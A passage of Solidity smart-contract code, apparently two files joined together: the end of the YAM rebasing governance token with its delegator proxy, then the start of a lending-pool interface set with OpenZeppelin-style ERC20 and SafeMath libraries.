if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "YAM::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
/* import "./YAMTokenInterface.sol"; */
contract YAMToken is YAMGovernanceToken {
// Modifiers
modifier onlyGov() {
require(msg.sender == gov);
_;
}
modifier onlyRebaser() {
require(msg.sender == rebaser);
_;
}
modifier onlyMinter() {
require(msg.sender == rebaser || msg.sender == incentivizer || msg.sender == gov, "not minter");
_;
}
modifier validRecipient(address to) {
require(to != address(0x0));
require(to != address(this));
_;
}
function initialize(
string memory name_,
string memory symbol_,
uint8 decimals_
)
public
{
require(yamsScalingFactor == 0, "already initialized");
name = name_;
symbol = symbol_;
decimals = decimals_;
}
/**
* @notice Computes the current max scaling factor
*/
function maxScalingFactor()
external
view
returns (uint256)
{
return _maxScalingFactor();
}
function _maxScalingFactor()
internal
view
returns (uint256)
{
// scaling factor can only go up to 2**256-1 = initSupply * yamsScalingFactor
// this is used to check if yamsScalingFactor will be too high to compute balances when rebasing.
return uint256(-1) / initSupply;
}
/**
* @notice Mints new tokens, increasing totalSupply, initSupply, and a users balance.
* @dev Limited to onlyMinter modifier
*/
function mint(address to, uint256 amount)
external
onlyMinter
returns (bool)
{
_mint(to, amount);
return true;
}
function _mint(address to, uint256 amount)
internal
{
// increase totalSupply
totalSupply = totalSupply.add(amount);
// get underlying value
uint256 yamValue = amount.mul(internalDecimals).div(yamsScalingFactor);
// increase initSupply
initSupply = initSupply.add(yamValue);
// make sure the mint didnt push maxScalingFactor too low
require(yamsScalingFactor <= _maxScalingFactor(), "max scaling factor too low");
// add balance
_yamBalances[to] = _yamBalances[to].add(yamValue);
// add delegates to the minter
_moveDelegates(address(0), _delegates[to], yamValue);
emit Mint(to, amount);
}
/* - ERC20 functionality - */
/**
* @dev Transfer tokens to a specified address.
* @param to The address to transfer to.
* @param value The amount to be transferred.
* @return True on success, false otherwise.
*/
function transfer(address to, uint256 value)
external
validRecipient(to)
returns (bool)
{
// underlying balance is stored in yams, so divide by current scaling factor
// note, this means as scaling factor grows, dust will be untransferrable.
// minimum transfer value == yamsScalingFactor / 1e24;
// get amount in underlying
uint256 yamValue = value.mul(internalDecimals).div(yamsScalingFactor);
// sub from balance of sender
_yamBalances[msg.sender] = _yamBalances[msg.sender].sub(yamValue);
// add to balance of receiver
_yamBalances[to] = _yamBalances[to].add(yamValue);
emit Transfer(msg.sender, to, value);
_moveDelegates(_delegates[msg.sender], _delegates[to], yamValue);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* @param from The address you want to send tokens from.
* @param to The address you want to transfer to.
* @param value The amount of tokens to be transferred.
*/
function transferFrom(address from, address to, uint256 value)
external
validRecipient(to)
returns (bool)
{
// decrease allowance
_allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value);
// get value in yams
uint256 yamValue = value.mul(internalDecimals).div(yamsScalingFactor);
// sub from from
_yamBalances[from] = _yamBalances[from].sub(yamValue);
_yamBalances[to] = _yamBalances[to].add(yamValue);
emit Transfer(from, to, value);
_moveDelegates(_delegates[from], _delegates[to], yamValue);
return true;
}
/**
* @param who The address to query.
* @return The balance of the specified address.
*/
function balanceOf(address who)
external
view
returns (uint256)
{
return _yamBalances[who].mul(yamsScalingFactor).div(internalDecimals);
}
/** @notice Currently returns the internal storage amount
* @param who The address to query.
* @return The underlying balance of the specified address.
*/
function balanceOfUnderlying(address who)
external
view
returns (uint256)
{
return _yamBalances[who];
}
/**
* @dev Function to check the amount of tokens that an owner has allowed to a spender.
* @param owner_ The address which owns the funds.
* @param spender The address which will spend the funds.
* @return The number of tokens still available for the spender.
*/
function allowance(address owner_, address spender)
external
view
returns (uint256)
{
return _allowedFragments[owner_][spender];
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of
* msg.sender. This method is included for ERC20 compatibility.
* increaseAllowance and decreaseAllowance should be used instead.
* Changing an allowance with this method brings the risk that someone may transfer both
* the old and the new allowance - if they are both greater than zero - if a transfer
* transaction is mined before the later approve() call is mined.
*
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value)
external
returns (bool)
{
_allowedFragments[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner has allowed to a spender.
* This method should be used instead of approve() to avoid the double approval vulnerability
* described above.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue)
external
returns (bool)
{
_allowedFragments[msg.sender][spender] =
_allowedFragments[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner has allowed to a spender.
*
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
external
returns (bool)
{
uint256 oldValue = _allowedFragments[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedFragments[msg.sender][spender] = 0;
} else {
_allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
/* - Governance Functions - */
/** @notice sets the rebaser
* @param rebaser_ The address of the rebaser contract to use for authentication.
*/
function _setRebaser(address rebaser_)
external
onlyGov
{
address oldRebaser = rebaser;
rebaser = rebaser_;
emit NewRebaser(oldRebaser, rebaser_);
}
/** @notice sets the incentivizer
* @param incentivizer_ The address of the rebaser contract to use for authentication.
*/
function _setIncentivizer(address incentivizer_)
external
onlyGov
{
address oldIncentivizer = incentivizer;
incentivizer = incentivizer_;
emit NewIncentivizer(oldIncentivizer, incentivizer_);
}
/** @notice sets the pendingGov
* @param pendingGov_ The address of the rebaser contract to use for authentication.
*/
function _setPendingGov(address pendingGov_)
external
onlyGov
{
address oldPendingGov = pendingGov;
pendingGov = pendingGov_;
emit NewPendingGov(oldPendingGov, pendingGov_);
}
/** @notice lets msg.sender accept governance
*
*/
function _acceptGov()
external
{
require(msg.sender == pendingGov, "!pending");
address oldGov = gov;
gov = pendingGov;
pendingGov = address(0);
emit NewGov(oldGov, gov);
}
/* - Extras - */
/**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*
* @dev The supply adjustment equals (totalSupply * DeviationFromTargetRate) / rebaseLag
* Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate
* and targetRate is CpiOracleRate / baseCpi
*/
function rebase(
uint256 epoch,
uint256 indexDelta,
bool positive
)
external
onlyRebaser
returns (uint256)
{
if (indexDelta == 0) {
emit Rebase(epoch, yamsScalingFactor, yamsScalingFactor);
return totalSupply;
}
uint256 prevYamsScalingFactor = yamsScalingFactor;
if (!positive) {
yamsScalingFactor = yamsScalingFactor.mul(BASE.sub(indexDelta)).div(BASE);
} else {
uint256 newScalingFactor = yamsScalingFactor.mul(BASE.add(indexDelta)).div(BASE);
if (newScalingFactor < _maxScalingFactor()) {
yamsScalingFactor = newScalingFactor;
} else {
yamsScalingFactor = _maxScalingFactor();
}
}
totalSupply = initSupply.mul(yamsScalingFactor).div(BASE);
emit Rebase(epoch, prevYamsScalingFactor, yamsScalingFactor);
return totalSupply;
}
}
contract YAM is YAMToken {
/**
* @notice Initialize the new money market
* @param name_ ERC-20 name of this token
* @param symbol_ ERC-20 symbol of this token
* @param decimals_ ERC-20 decimal precision of this token
*/
function initialize(
string memory name_,
string memory symbol_,
uint8 decimals_,
address initial_owner,
uint256 initSupply_
)
public
{
require(initSupply_ > 0, "0 init supply");
super.initialize(name_, symbol_, decimals_);
initSupply = initSupply_.mul(10**24/ (BASE));
totalSupply = initSupply_;
yamsScalingFactor = BASE;
_yamBalances[initial_owner] = initSupply_.mul(10**24 / (BASE));
// owner renounces ownership after deployment as they need to set
// rebaser and incentivizer
// gov = gov_;
}
}
contract YAMDelegationStorage {
/**
* @notice Implementation address for this contract
*/
address public implementation;
}
contract YAMDelegatorInterface is YAMDelegationStorage {
/**
* @notice Emitted when implementation is changed
*/
event NewImplementation(address oldImplementation, address newImplementation);
/**
* @notice Called by the gov to update the implementation of the delegator
* @param implementation_ The address of the new implementation for delegation
* @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation
* @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation
*/
function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public;
}
contract YAMDelegateInterface is YAMDelegationStorage {
/**
* @notice Called by the delegator on a delegate to initialize it for duty
* @dev Should revert if any issues arise which make it unfit for delegation
* @param data The encoded bytes data for any initialization
*/
function _becomeImplementation(bytes memory data) public;
/**
* @notice Called by the delegator on a delegate to forfeit its responsibility
*/
function _resignImplementation() public;
}
contract YAMDelegate is YAM, YAMDelegateInterface {
/**
* @notice Construct an empty delegate
*/
constructor() public {}
/**
* @notice Called by the delegator on a delegate to initialize it for duty
* @param data The encoded bytes data for any initialization
*/
function _becomeImplementation(bytes memory data) public {
// Shh -- currently unused
data;
// Shh -- we don't ever want this hook to be marked pure
if (false) {
implementation = address(0);
}
require(msg.sender == gov, "only the gov may call _becomeImplementation");
}
/**
* @notice Called by the delegator on a delegate to forfeit its responsibility
*/
function _resignImplementation() public {
// Shh -- we don't ever want this hook to be marked pure
if (false) {
implementation = address(0);
}
require(msg.sender == gov, "only the gov may call _resignImplementation");
}
}
contract YAMDelegator is YAMTokenInterface, YAMDelegatorInterface {
/**
* @notice Construct a new YAM
* @param name_ ERC-20 name of this token
* @param symbol_ ERC-20 symbol of this token
* @param decimals_ ERC-20 decimal precision of this token
* @param initSupply_ Initial token amount
* @param implementation_ The address of the implementation the contract delegates to
* @param becomeImplementationData The encoded args for becomeImplementation
*/
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 initSupply_,
address implementation_,
bytes memory becomeImplementationData
)
public
{
// Creator of the contract is gov during initialization
gov = msg.sender;
// First delegate gets to initialize the delegator (i.e. storage contract)
delegateTo(
implementation_,
abi.encodeWithSignature(
"initialize(string,string,uint8,address,uint256)",
name_,
symbol_,
decimals_,
msg.sender,
initSupply_
)
);
// New implementations always get set via the settor (post-initialize)
_setImplementation(implementation_, false, becomeImplementationData);
}
/**
* @notice Called by the gov to update the implementation of the delegator
* @param implementation_ The address of the new implementation for delegation
* @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation
* @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation
*/
function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public {
require(msg.sender == gov, "YAMDelegator::_setImplementation: Caller must be gov");
if (allowResign) {
delegateToImplementation(abi.encodeWithSignature("_resignImplementation()"));
}
address oldImplementation = implementation;
implementation = implementation_;
delegateToImplementation(abi.encodeWithSignature("_becomeImplementation(bytes)", becomeImplementationData));
emit NewImplementation(oldImplementation, implementation);
}
/**
* @notice Sender supplies assets into the market and receives cTokens in exchange
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param mintAmount The amount of the underlying asset to supply
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function mint(address to, uint256 mintAmount)
external
returns (bool)
{
to; mintAmount; // Shh
delegateAndReturn();
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 amount)
external
returns (bool)
{
dst; amount; // Shh
delegateAndReturn();
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(
address src,
address dst,
uint256 amount
)
external
returns (bool)
{
src; dst; amount; // Shh
delegateAndReturn();
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(
address spender,
uint256 amount
)
external
returns (bool)
{
spender; amount; // Shh
delegateAndReturn();
}
/**
* @dev Increase the amount of tokens that an owner has allowed to a spender.
* This method should be used instead of approve() to avoid the double approval vulnerability
* described above.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
external
returns (bool)
{
spender; addedValue; // Shh
delegateAndReturn();
}
function maxScalingFactor()
external
view
returns (uint256)
{
delegateToViewAndReturn();
}
function rebase(
uint256 epoch,
uint256 indexDelta,
bool positive
)
external
returns (uint256)
{
epoch; indexDelta; positive;
delegateAndReturn();
}
/**
* @dev Decrease the amount of tokens that an owner has allowed to a spender.
*
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
external
returns (bool)
{
spender; subtractedValue; // Shh
delegateAndReturn();
}
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent (-1 means infinite)
*/
function allowance(
address owner,
address spender
)
external
view
returns (uint256)
{
owner; spender; // Shh
delegateToViewAndReturn();
}
/**
* @notice Get the current allowance from `owner` for `spender`
* @param delegator The address of the account which has designated a delegate
* @return Address of delegatee
*/
function delegates(
address delegator
)
external
view
returns (address)
{
delegator; // Shh
delegateToViewAndReturn();
}
/**
* @notice Get the token balance of the `owner`
* @param owner The address of the account to query
* @return The number of tokens owned by `owner`
*/
function balanceOf(address owner)
external
view
returns (uint256)
{
owner; // Shh
delegateToViewAndReturn();
}
/**
* @notice Currently unused. For future compatability
* @param owner The address of the account to query
* @return The number of underlying tokens owned by `owner`
*/
function balanceOfUnderlying(address owner)
external
view
returns (uint256)
{
owner; // Shh
delegateToViewAndReturn();
}
/*** Gov Functions ***/
/**
* @notice Begins transfer of gov rights. The newPendingGov must call `_acceptGov` to finalize the transfer.
* @dev Gov function to begin change of gov. The newPendingGov must call `_acceptGov` to finalize the transfer.
* @param newPendingGov New pending gov.
*/
function _setPendingGov(address newPendingGov)
external
{
newPendingGov; // Shh
delegateAndReturn();
}
function _setRebaser(address rebaser_)
external
{
rebaser_; // Shh
delegateAndReturn();
}
function _setIncentivizer(address incentivizer_)
external
{
incentivizer_; // Shh
delegateAndReturn();
}
/**
* @notice Accepts transfer of gov rights. msg.sender must be pendingGov
* @dev Gov function for pending gov to accept role and update gov
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptGov()
external
{
delegateAndReturn();
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
account; blockNumber;
delegateToViewAndReturn();
}
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
delegatee; nonce; expiry; v; r; s;
delegateAndReturn();
}
function delegate(address delegatee)
external
{
delegatee;
delegateAndReturn();
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
account;
delegateToViewAndReturn();
}
/**
* @notice Internal method to delegate execution to another contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* @param callee The contract to delegatecall
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateTo(address callee, bytes memory data) internal returns (bytes memory) {
(bool success, bytes memory returnData) = callee.delegatecall(data);
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return returnData;
}
/**
* @notice Delegates execution to the implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToImplementation(bytes memory data) public returns (bytes memory) {
return delegateTo(implementation, data);
}
/**
* @notice Delegates execution to an implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop.
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) {
(bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data));
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return abi.decode(returnData, (bytes));
}
function delegateToViewAndReturn() private view returns (bytes memory) {
(bool success, ) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", msg.data));
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(add(free_mem_ptr, 0x40), returndatasize) }
}
}
function delegateAndReturn() private returns (bytes memory) {
(bool success, ) = implementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(free_mem_ptr, returndatasize) }
}
}
/**
* @notice Delegates execution to an implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
*/
function () external payable {
require(msg.value == 0,"YAMDelegator:fallback: cannot send value to fallback");
// delegate all other functions to current implementation
delegateAndReturn();
}
}
|
DC1
|
pragma solidity 0.5.12;
interface IKToken {
function underlying() external view returns (address);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function mint(address recipient, uint256 amount) external returns (bool);
function burnFrom(address sender, uint256 amount) external;
function addMinter(address sender) external;
function renounceMinter() external;
}
interface ILiquidityPool {
function () external payable;
function kToken(address _token) external view returns (IKToken);
function register(IKToken _kToken) external;
function renounceOperator() external;
function deposit(address _token, uint256 _amount) external payable returns (uint256);
function withdraw(address payable _to, IKToken _kToken, uint256 _kTokenAmount) external;
function borrowableBalance(address _token) external view returns (uint256);
function underlyingBalance(address _token, address _owner) external view returns (uint256);
}
interface ILender {
function () external payable;
function borrow(address _token, uint256 _amount, bytes calldata _data) external;
}
interface IBorrowerProxy {
function lend(address _caller, bytes calldata _data) external payable;
}
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Initializable, Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
